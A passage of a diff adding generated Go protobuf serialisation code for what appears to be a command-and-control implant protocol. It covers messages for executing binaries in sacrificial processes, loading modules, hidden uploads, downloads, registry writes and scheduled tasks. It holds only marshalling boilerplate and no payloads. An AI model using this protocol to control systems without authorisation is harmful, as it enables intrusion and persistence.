0x12 + } + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x20 + } + if len(m.Stderr) > 0 { + i -= len(m.Stderr) + copy(dAtA[i:], m.Stderr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stderr))) + i-- + dAtA[i] = 0x1a + } + if len(m.Stdout) > 0 { + i -= len(m.Stdout) + copy(dAtA[i:], m.Stdout) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stdout))) + i-- + dAtA[i] = 0x12 + } + if m.StatusCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StatusCode)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *BinaryResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BinaryResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *BinaryResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Err) > 0 { + i -= len(m.Err) + copy(dAtA[i:], m.Err) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Err))) + i-- + dAtA[i] = 0x22 + } + if m.Status != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Status)) + i-- + dAtA[i] = 0x18 + } + if len(m.Message) > 0 { + i -= len(m.Message) + copy(dAtA[i:], m.Message) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Message))) + i-- + dAtA[i] = 0x12 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Modules) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Modules) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Modules) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Modules) > 0 { + for iNdEx := len(m.Modules) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Modules[iNdEx]) + copy(dAtA[i:], m.Modules[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Modules[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addons) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addons) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Addons) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addon) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addon) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Addon) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadModule) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadModule) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *LoadModule) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Bundle) > 0 { + i -= len(m.Bundle) + copy(dAtA[i:], m.Bundle) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bundle))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadAddon) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadAddon) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *LoadAddon) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x22 + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteAddon) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteAddon) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecuteAddon) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.ExecuteBinary != nil { + size, err := m.ExecuteBinary.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Addon) > 0 { + i -= len(m.Addon) + copy(dAtA[i:], m.Addon) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Addon))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteBinary) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteBinary) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecuteBinary) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Delay != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Delay)) + i-- + dAtA[i] = 0x78 + } + if len(m.Context) > 0 { + i -= len(m.Context) + copy(dAtA[i:], m.Context) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Context))) + i-- + dAtA[i] = 0x72 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x6a + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x58 + } + if m.Arch != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Arch)) + i-- + dAtA[i] = 0x50 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x48 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x42 + } + if len(m.EntryPoint) > 0 { + i -= len(m.EntryPoint) + copy(dAtA[i:], m.EntryPoint) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.EntryPoint))) + i-- + dAtA[i] = 0x3a + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if len(m.ProcessName) > 0 { + i -= len(m.ProcessName) + copy(dAtA[i:], m.ProcessName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ProcessName))) + i-- + dAtA[i] = 0x2a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x22 + } + if len(m.Param) > 0 { + for k := range m.Param { + v := m.Param[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteCommand) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteCommand) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecuteCommand) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Command) > 0 { + i -= len(m.Command) + copy(dAtA[i:], m.Command) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Command))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *UploadRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *UploadRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *UploadRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Override { + i-- + if m.Override { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if m.Priv != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Priv)) + i-- + dAtA[i] = 0x18 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DownloadRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x28 + } + if m.Dir { + i-- + if m.Dir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.BufferSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BufferSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DownloadResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x22 + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x18 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x10 + } + if len(m.Checksum) > 0 { + i -= len(m.Checksum) + copy(dAtA[i:], m.Checksum) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Checksum))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CurlRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CurlRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *CurlRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Header) > 0 { + for k := range m.Header { + v := m.Header[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x2a + } + } + if len(m.Body) > 0 { + i -= len(m.Body) + copy(dAtA[i:], m.Body) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Body))) + i-- + dAtA[i] = 0x22 + } + if len(m.Method) > 0 { + i -= len(m.Method) + copy(dAtA[i:], m.Method) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Method))) + i-- + dAtA[i] = 0x1a + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x10 + } + if len(m.Url) > 0 { + i -= len(m.Url) + copy(dAtA[i:], m.Url) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Url))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ChownRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ChownRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ChownRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Recursive { + i-- + if m.Recursive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if len(m.Gid) > 0 { + i -= len(m.Gid) + copy(dAtA[i:], m.Gid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Gid))) + i-- + dAtA[i] = 0x1a + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *IfconfigResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *IfconfigResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *IfconfigResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NetInterfaces) > 0 { + for iNdEx := len(m.NetInterfaces) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.NetInterfaces[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *RegistryRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *RegistryRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Registry != nil { + size, err := m.Registry.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Registry) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Registry) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Registry) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RegistryWriteRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryWriteRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *RegistryWriteRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Regtype != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Regtype)) + i-- + dAtA[i] = 0x50 + } + if m.QwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.QwordValue)) + i-- + dAtA[i] = 0x40 + } + if m.DwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.DwordValue)) + i-- + dAtA[i] = 0x38 + } + if len(m.ByteValue) > 0 { + i -= len(m.ByteValue) + copy(dAtA[i:], m.ByteValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ByteValue))) + i-- + dAtA[i] = 0x32 + } + if len(m.StringValue) > 0 { + i -= len(m.StringValue) + copy(dAtA[i:], m.StringValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringValue))) + i-- + dAtA[i] = 0x2a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskScheduleRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + 